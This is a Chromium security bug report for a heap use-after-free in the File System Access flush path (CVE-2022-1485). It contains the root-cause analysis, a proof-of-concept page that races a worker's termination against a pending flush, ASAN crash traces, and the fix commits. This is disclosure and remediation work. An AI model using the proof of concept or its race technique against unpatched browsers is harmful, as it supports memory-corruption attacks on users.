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Owner:asully@chromium.org**CC:**

 danakj@chromium.org
mlippautz@chromium.org
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vahl@chromium.org

Status:Fixed (*Closed*)**Components:**[Blink>Storage>FileSystem](#)
[Blink>GarbageCollection](#)**Modified:**

Jul 29, 2022

Backlog-Rank:

Editors:

EstimatedDays:

NextAction:

OS:[Windows](#)**Pri:**

1

Type:[Bug-Security](#)

[Security_Severity-Medium](#)
[Arch-x86_64](#)
[reward-7500](#)
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[reward-inprocess](#)
[Via-Wizard-Security](#)
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[FoundIn-96](#)
[Security_Impact-Extended](#)
[Release-0-M101](#)
[CVE-2022-1485](#)

Issue 1299743: Security: heap-use-after-free in FileSystemAccessRegularFileDelegate::DoFlush

Reported by m.coo...@gmail.com on Tue, Feb 22, 2022, 6:51 AM EST

 Code

UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.0 Safari/537.36

Steps to reproduce the problem:

#TestOn

Windows NT 10.0; Win64; x64

git log

commit [4eaca9f30aab81de5f1ca93e7feb56d17c74c492](#) (HEAD -> main, origin/main, origin/HEAD)

#Reproduce

Apply rca.diff for easy reproduce

chrome --js-flags="-expose-gc --allow-natives-syntax" --no-sandbox --enable-blink-test-features localhost\poc.html

What is the expected behavior?

What went wrong?

Type of crash

render tab

#Analysis

Same as 1240593 root cause(<https://bugs.chromium.org/p/chromium/issues/detail?id=1240593>)

1. FileSystemAccessRegularFileDelegate::Flush can called from worker thread[1]
2. DoFlush called from worker_pool and use WrapCrossThreadPersistent(this) to pass FileSystemAccessRegularFileDelegate[2]
3. When worker thread get terminal, FileSystemAccessRegularFileDelegate will get freed.
4. There's a very subtle race condition here, When the delegate itself is dereferenced, the worker thread has not been terminated, so the delegate has not been freed, and the delegate may have been freed when used by subsequent members. If the statement x.y.z is split into v1=x.y;v1.z, it will be easy to reproduce

...

```
void FileSystemAccessRegularFileDelegate::Flush(
    base::OnceCallback<void(bool)> callback) {
    auto wrapped_callback =
        CrossThreadOnceFunction<void(bool)>(std::move(callback));

    // Flush file on a worker thread and reply back to this sequence.
    worker_pool::PostTask(
        FROM_HERE, {base::MayBlock()},
        CrossThreadBindOnce(&FileSystemAccessRegularFileDelegate::DoFlush,
                            WrapCrossThreadPersistent(this),
                            std::move(wrapped_callback), task_runner_));
}
```

// static

```
void FileSystemAccessRegularFileDelegate::DoFlush(
    CrossThreadPersistent<FileSystemAccessRegularFileDelegate> delegate)
```

```

CrossThreadPersistentFileSystemAccessRegularFileDelegate> delegate,
CrossThreadOnceFunction<void(bool)> wrapped_callback,
scoped_refptr<base::SequencedTaskRunner> task_runner) {
bool result = delegate->backing_file_.Flush();    <<[2]
PostCrossThreadTask(*task_runner, FROM_HERE,
                    CrossThreadBindOnce(std::move(wrapped_callback), result));
}
...

#poc
<script >
async function runInWorker() {
{
let v1713 = await self.navigator.storage.getDirectory();
/*FileSystemGetFileOptions*/ let v1716 = {create:true};
/*ret_getFileHandle_type*/ let v1712 = await v1713.getFileHandle("mtime1.txt", v1716);
/*ret_createSyncAccessHandle_type*/ let v1711 = await v1712.createSyncAccessHandle();
v1711.flush();
v1711.close();
postMessage("");
}
}

let blob = new Blob(['(${runInWorker}())'], {type: "text/javascript"});
let url = URL.createObjectURL(blob);

worker = new Worker(url);
worker.onmessage = () => worker.terminate();
gc();
</script>

```

Did this work before? N/A

Chrome version: 99.0.4844.0 Channel: n/a

OS Version: 10.0

poc.html

706 bytes [View](#) [Download](#)

rca.diff

1.1 KB [View](#) [Download](#)

asan.txt

9.1 KB [View](#) [Download](#)

[Comment 1](#) by [sheriffbot](#) on Tue, Feb 22, 2022, 6:52 AM EST Project Member

Labels: external_security_report

[Comment 2](#) by [danakj@chromium.org](#) on Wed, Feb 23, 2022, 12:56 PM EST Project Member

Labels: Needs-Feedback

I tried Linux M96, 98, 99, 100 but none reproduce for me. It just sits at the blank page. I used

/chrome --is-flag="enable-cc-allow-native-syntax" --no-sandbox --enable-blink-test-features /poc.html

```
./chrome --js-flags= -expose-gc --allow-natives-syntax --no-sandbox --enable-blink-test-features ../poc.nimi
```

Is this windows-specific somehow? That would be surprising. Anything else?

[Comment 3](#) by [m.coo...@gmail.com](#) on Wed, Feb 23, 2022, 9:28 PM EST

I don't think it's windows-specific.

Reproduce need win the race,Applying the rca.diff patch will make it easy to reproduce.

[Comment 4](#) by [sheriffbot](#) on Wed, Feb 23, 2022, 9:29 PM EST Project Member

Cc: danakj@chromium.org

Labels: -Needs-Feedback

Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 5](#) by [danakj@chromium.org](#) on Thu, Feb 24, 2022, 12:42 PM EST Project Member

Labels: Needs-Feedback

Components: Blink

This seems to require the patch to reproduce? The posted task holds a reference on the delegate so as long as the Flush task is running the delegate can't be destroyed.

Also WrapWeakPersistent(this) will take a reference on `this` as well. Could you provide a repro without a patch, or an ASAN stack trace to show the UAF, allocation, and destroy stacks?

[Comment 6](#) by [m.coo...@gmail.com](#) on Thu, Feb 24, 2022, 10:05 PM EST

Patch is just for easy reproduce.

Borrow a detailed explanation from glazunov:

`ThreadedIconLoader::DidFinishLoading` posts the `DecodeAndResizeImageOnBackgroundThread` task to the worker pool. Wrapping `this` in `CrossThreadPersistent`[1] is supposed to prevent the object from being collected by the GC until the task is finished. However, the thread termination GC does not respect `CrossThreadPersistent` pointers. Therefore, if an attacker manages to terminate the thread that has posted the task before it's finished, `DecodeAndResizeImageOnBackgroundThread` will access the (implicit `this`) dangling pointer[2].

For more details, see these two reports by glazunov

<https://bugs.chromium.org/p/chromium/issues/detail?id=1241091>

<https://bugs.chromium.org/p/chromium/issues/detail?id=1240593>

[Comment 7](#) by [sheriffbot](#) on Thu, Feb 24, 2022, 10:10 PM EST Project Member

Labels: -Needs-Feedback

Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 8](#) by [m.coo...@gmail.com](#) on Thu, Feb 24, 2022, 10:13 PM EST

Also provide evidence that delegate was freed by thread termination GC.

...

```

[2868:18856:/.500:ERROR:file_system_access_regular_file_delegate.cc(31)]
[11000]FileSystemAccessFileDelegate::Dispose: this00007EA600501F60
Backtrace:
  base::debug::CollectStackTrace [0x00007FFE7EE33FE2+18] (\src\base\debug\stack_trace_win.cc:305)
  base::debug::StackTrace::StackTrace [0x00007FFE7EB1313A+26] (\src\base\debug\stack_trace.cc:219)
  blink::FileSystemAccessRegularFileDelegate::Dispose [0x00007FFE334403DD+505]
(\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.cc:33)
  blink::FileSystemAccessRegularFileDelegate::InvokePreFinalizer [0x00007FFE3344715F+35]
(\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.h:35)
  cppgc::internal::PreFinalizerHandler::InvokePreFinalizers [0x00007FFE4482707D+3501]
(\src\v8\src\heap\cppgc\prefinalizer-handler.cc:72)
  cppgc::internal::HeapBase::Terminate [0x00007FFE447F5F14+724] (\src\v8\src\heap\cppgc\heap-base.cc:170)
  blink::ThreadState::DetachCurrentThread [0x00007FFE37EB901E+78]
(\src\third_party\blink\renderer\platform\heap\thread_state.cc:129)
  blink::scheduler::WorkerThread::GCSupport::~~GCSupport [0x00007FFE3811E4B7+35]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:131)

std::__1::unique_ptr<blink::scheduler::WorkerThread::GCSupport,std::__1::default_delete<blink::scheduler::WorkerThread::
GCSupport> >::reset [0x00007FFE3811E58E+44]
(\src\buildtools\third_party\libc++\trunk\include\_memory\unique_ptr.h:315)
  blink::scheduler::WorkerThread::ShutdownOnThread [0x00007FFE3811DA91+49]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:81)
  blink::WorkerBackingThread::ShutdownOnBackingThread [0x00007FFE3E5730CF+479]
(\src\third_party\blink\renderer\core\workers\worker_backing_thread.cc:112)
  blink::WorkerThread::PerformShutdownOnWorkerThread [0x00007FFE3E59D34C+796]
(\src\third_party\blink\renderer\core\workers\worker_thread.cc:782)
  base::TaskAnnotator::RunTaskImpl [0x00007FFE7ECF11F5+933] (\src\base\task\common\task_annotator.cc:135)
  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl
[0x00007FFE7ED44F79+1209] (\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:385)
  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork [0x00007FFE7ED4454A+410]
(\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:290)
  base::MessagePumpDefault::Run [0x00007FFE7EB8A878+712]
(\src\base\message_loop\message_pump_default.cc:38)
  base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run [0x00007FFE7ED46771+753]
(\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:497)
  base::RunLoop::Run [0x00007FFE7EC3D8E4+1300] (\src\base\run_loop.cc:143)
  blink::scheduler::WorkerThread::SimpleThreadImpl::Run [0x00007FFE3811E895+749]
(\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread.cc:154)
  base::`anonymous namespace'::ThreadFunc [0x00007FFE7EE81830+608]
(\src\base\threading\platform_thread_win.cc:121)
  _asan_print_accumulated_stats [0x00007FFE7DB4E5C4+5604]
  BaseThreadInitThunk [0x00007FFE7F2FE7034+20]
  RtlUserThreadStart [0x00007FFE7F3CE2651+33]

=====
==2868==ERROR: AddressSanitizer: unknown-crash on address 0x7ea600501fa0 at pc 0x7ffe3344415b bp
0x009a59dfe850 sp 0x009a59dfe898
WRITE of size 8 at 0x7ea600501fa0 thread T18
==2868==*** WARNING: Failed to initialize DbgHelp! ***
==2868==*** Most likely this means that the app is already ***
==2868==*** using DbgHelp, possibly with incompatible flags. ***

==2868==*** Due to technical reasons, symbolization might crash ***
==2868==*** or produce wrong results. ***
#0 0x7ffe3344415b in blink::FileSystemAccessRegularFileDelegate::DoFlush

```

```
#0 0x7f7e3344415a in blink::FileSystemAccessRegularFileDelegate::DoFlush
\src\third_party\blink\renderer\modules\file_system_access\file_system_access_regular_file_delegate.cc:276
#1 0x7f7e33446ae9 in base::internal::Invoker<base::internal::BindState<void (*)
(cppgc::internal::BasicCrossThreadPersistent<blink::FileSystemAccessRegularFileDelegate,cppgc::internal::StrongCrossTh
readPersistentPolicy,cppgc::internal::IgnoreLocationPolicy,cppgc::internal::DisabledCheckingPolicy>,
WTF::CrossThreadOnceFunction<void (bool)>,
scoped_refptr<base::SequencedTaskRunner>),cppgc::internal::BasicCrossThreadPersistent<blink::FileSystemAccessRegu
larFileDelegate,cppgc::internal::StrongCrossThreadPersistentPolicy,cppgc::internal::IgnoreLocationPolicy,cppgc::internal::D
isableCheckingPolicy>,WTF::CrossThreadOnceFunction<void (bool)>,scoped_refptr<base::SequencedTaskRunner>
>,void ()>::RunOnce \src\base\bind_internal.h:748
#2 0x7f7e7ecf11f4 in base::TaskAnnotator::RunTaskImpl \src\base\task\common\task_annotator.cc:135
#3 0x7f7e7ed776d4 in base::internal::TaskTracker::RunTaskImpl \src\base\task\thread_pool\task_tracker.cc:710
#4 0x7f7e7ed78752 in base::internal::TaskTracker::RunSkipOnShutdown \src\base\task\thread_pool\task_tracker.cc:695
...
```

[Comment 9](#) by jstenback@google.com on Fri, Feb 25, 2022, 1:12 PM EST Project Member

Components: -Blink Blink>Storage>FileSystem

[Comment 10](#) by m.coo...@gmail.com on Tue, Mar 1, 2022, 11:24 AM EST

Has anyone taken over this issue?

[Comment 11](#) by danakj@chromium.org on Tue, Mar 1, 2022, 1:51 PM EST Project Member

Status: Assigned (was: Unconfirmed)

Owner: asully@chromium.org

Cc: dcheng@chromium.org mlippautz@chromium.org mek@chromium.org pwnall@chromium.org

Labels: Security_Severity-Medium

Components: Blink>GarbageCollection

Thanks, I see. So the worker_pool thread is dying, dropping its reference to FileSystemAccessRegularFileDelegate. I get very confused how the thread then still runs a task posted to it, the DoFlush.

Maybe there's something more going on with Oilpan, it seems that WrapCrossThreadPersistent is broken - but I can't tell how.

Does your ASAN not report the free and allocation stacks as well? Then it would show the threads, maybe that would explain this to me.

I will assign to the filesystem folks to help look more, and cc oilpan memory safety folks. I still don't really get the order of things that causes a UAF here without the patch. Maybe there's confusion cuz there's _two_ worker threads?

Thread A owns the delegate, posts a WrapCrossThreadPersistent of the delegate to B.
Then I don't know which thread is dying. Presumably A, cuz the task is still running on B?
And dropping A deletes any objects even if there are outstanding Persistent pointers to it.
So...

A needs to block on the delegate task on B finishing to avoid B using a deleted thing?
Or A needs to not delete Persistent things, or crash safely when it detects this problem?
Or A needs to post something that more strongly owns the delegate than Persistent?

[Comment 12](#) by danakj@chromium.org on Tue, Mar 1, 2022, 1:53 PM EST Project Member

Labels: FoundIn-96

Moving the flush to the worker pool happened in [r910451](#) which is before M96.

Comment 13 by [mek@chromium.org](#) on Tue, Mar 1, 2022, 1:57 PM EST Project Member

"it seems that WrapCrossThreadPersistent is broken - but I can't tell how." I think it is working as documented (and unfortunately this isn't the first time we run into similar issues). `blink::CrossThreadPersistent` is an alias for `cppgc::subtle::CrossThreadPersistent`, which says:

****DO NOT USE:** Has known caveats, see below. - Does not protect the heap owning an object from terminating.

(it's kind of unfortunate that similarly strong language isn't there on the blink aliases for these types though).

Comment 14 by [sheriffbot](#) on Tue, Mar 1, 2022, 1:57 PM EST Project Member

Labels: Security_Impact-Extended

Comment 15 by [mlippautz@chromium.org](#) on Tue, Mar 1, 2022, 2:08 PM EST Project Member

`CrossThreadPersistent` has existed for a long time and so have the issues with it. One of which is that terminating threads need to ignore it (but will null out the reference) to allow shutting down workers.

We should document the Blink side of the API though. Essentially this is an expert API which has a few footguns.

We'd love to get rid of it but we currently cannot deprecate it because there's some usage in Blink which requires cross-thread access that was introduced a long time ago. We have introduced a better concept in for off-thread usage of managed memory last year in V8 (LocalHeap) which we are happy with but didn't have time/resources yet to fix the Blink side.

Comment 16 by [danakj@chromium.org](#) on Tue, Mar 1, 2022, 2:12 PM EST Project Member

Does that mean this is not a Use-after-free?

Comment 17 by [asully@chromium.org](#) on Tue, Mar 1, 2022, 4:28 PM EST Project Member

Status: Started (was: Assigned)

It looks like the issue here is that we're accessing the delegate from the worker in `DoFlush` (and other `Do*` methods) after the delegate may have been destroyed.

We'll have to do something similar to what `NativeIOFile` does, where the `base::File` object itself is owned by a separately refcounted class (`FileState`) to ensure that its lifetime isn't tied to the delegate.

[https://source.chromium.org/chromium/chromium/src/+main:third_party/blink/renderer/modules/native_io/native_io_file.cc;l=66](https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/modules/native_io/native_io_file.cc;l=66)

Comment 18 by [m.coo...@gmail.com](#) on Tue, Mar 1, 2022, 10:20 PM EST

Re [#c11](#)

I think you confuse about two "worker thread".

1. "worker_pool::PostTask" is run on "Worker thread" which created by new `Worker()`.
2. `DoFlush` is run on workpool, has nothing to do with "Worker thread[1]"
3. worker_pool thread is not dying, "Worker thread[1]" is dying because we call `worker.terminate()`;

Comment 19 by [Git Watcher](#) on Wed, Mar 2, 2022, 9:19 AM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+224c3928e875078766e2f2df03aa78b81418011b>

commit [224c3928e875078766e2f2df03aa78b81418011b](#)

Author: Michael Lippautz <mlippautz@chromium.org>

Date: Wed Mar 02 14:18:25 2022

CrossThreadPersistent: Improve documentation

CTP and CTWP are expert APIs that result in UAFs on misuse. This is already documented on the cppgc namespace. Move the same documentation over to Blink to make others aware of the caveats.

[Bug: chromium:1299743](#)

Change-Id: [Ie1b78a435a23efc29893ef9f80606997915e4dda](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3500222>

Reviewed-by: Kentaro Hara <haraken@chromium.org>

Reviewed-by: Omer Katz <omerkatz@chromium.org>

Commit-Queue: Michael Lippautz <mlippautz@chromium.org>

Cr-Commit-Position: refs/heads/main@{#976643}

[modify]

https://crrev.com/224c3928e875078766e2f2df03aa78b81418011b/third_party/blink/renderer/platform/heap/persistent.h

Comment 20 by [sheriffbot](#) on Wed, Mar 2, 2022, 12:52 PM EST Project Member

Labels: M-99 Target-99

Setting milestone and target because of medium severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 21 by [sheriffbot](#) on Wed, Mar 2, 2022, 1:18 PM EST Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 22 by [Git Watcher](#) on Fri, Mar 11, 2022, 5:09 AM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+cf64617c1cc509f1dc88adb068ef64e61457bc0f>

commit [cf64617c1cc509f1dc88adb068ef64e61457bc0f](#)

Author: Austin Sullivan <asully@chromium.org>

Date: Fri Mar 11 10:08:55 2022

FSA: Pass File ownership to worker for async FSARFD file operations

We cannot access the backing file as a member of the FileSystemAccessRegularFileDelegate since WrapCrossThreadPersistent does NOT cancel the task posted to the worker pool if delegate is destroyed. Passing ownership to the worker task ensures the file must be alive when used. After the operation, ownership of the file is passed back to the delegate.

This pattern was already used for the SetLength operation on old Macs.

~~Bug-1299743~~

Change-Id: Ie00c09e8f77dc353f280af726a68ed6c572b750b

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3498864>

Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>

Commit-Queue: Austin Sullivan <asully@chromium.org>

Cr-Commit-Position: refs/heads/main@{#980167}

[modify]

https://crrev.com/cf64617c1cc509f1dc88adb068ef64e61457bc0f/third_party/blink/renderer/modules/file_system_access/file_system_access_regular_file_delegate.cc

[modify]

https://crrev.com/cf64617c1cc509f1dc88adb068ef64e61457bc0f/third_party/blink/renderer/modules/file_system_access/file_system_access_regular_file_delegate.h

Comment 23 by amyressler@chromium.org on Mon, Mar 14, 2022, 4:55 PM EDT Project Member

Labels: Restrict-View-SecurityEmbargo

setting RV-SE at reporting researcher's request

Comment 24 by m.coo...@gmail.com on Tue, Mar 15, 2022, 11:51 AM EDT

owner@ Can we set the issue status to fixed.

Comment 25 by [Git Watcher](#) on Thu, Mar 17, 2022, 6:24 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+9d06234e50ac61c0d31c8e7616f23f3b13e69d75>

commit [9d06234e50ac61c0d31c8e7616f23f3b13e69d75](#)

Author: Michael Lippautz <mlippautz@chromium.org>

Date: Thu Mar 17 10:23:25 2022

Clarify caveats of CrossThreadWeakPersistent

CTWP also does not protect against the heap owning the object from terminating. Add an explicit note describing this scenario.

~~Bug-chromium:1299743~~

Change-Id: I3441206aa8602fa88cde9265d4970e606b5943d0

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3532068>

Commit-Queue: Michael Lippautz <mlippautz@chromium.org>

Auto-Submit: Michael Lippautz <mlippautz@chromium.org>

Reviewed-by: Kentaro Hara <haraken@chromium.org>

Commit-Queue: Kentaro Hara <haraken@chromium.org>

Cr-Commit-Position: refs/heads/main@{#982115}

[modify]

https://crrev.com/9d06234e50ac61c0d31c8e7616f23f3b13e69d75/third_party/blink/renderer/platform/heap/persistent.h

Comment 26 by asully@chromium.org on Thu, Mar 17, 2022, 6:18 PM EDT Project Member

Status: Fixed (was: Started)

[Comment 27](#) by [sheriffbot](#) on Fri, Mar 18, 2022, 12:41 PM EDT Project Member

Labels: reward-topanel

[Comment 28](#) by [sheriffbot](#) on Fri, Mar 18, 2022, 1:41 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

[Comment 29](#) by [amyressler@google.com](#) on Thu, Mar 31, 2022, 5:15 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

[Comment 30](#) by [amyressler@chromium.org](#) on Thu, Mar 31, 2022, 5:39 PM EDT Project Member

Labels: -Restrict-View-SecurityEmbargo

Congratulations on yet another one! The VRP Panel has decided to award you \$7500 for this report. Thank you for your efforts and great work!

(removing RV-SE as discussed off-bug, please feel free to reach out directly if there are any issues)

[Comment 31](#) by [amyressler@google.com](#) on Fri, Apr 1, 2022, 3:57 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

[Comment 32](#) by [amyressler@chromium.org](#) on Mon, Apr 25, 2022, 8:38 PM EDT Project Member

Labels: Release-0-M101

[Comment 33](#) by [amyressler@google.com](#) on Tue, Apr 26, 2022, 4:31 PM EDT Project Member

Labels: CVE-2022-1485 CVE_description-missing

[Comment 34](#) by [sheriffbot](#) on Fri, Jun 24, 2022, 1:31 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 35](#) by [amyressler@google.com](#) on Tue, Jul 26, 2022, 5:37 PM EDT Project Member

Labels: CVE_description-submitted -CVE_description-missing

[Comment 36](#) by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT Project Member

Labels: -CVE_description-missing --CVE_description-missing

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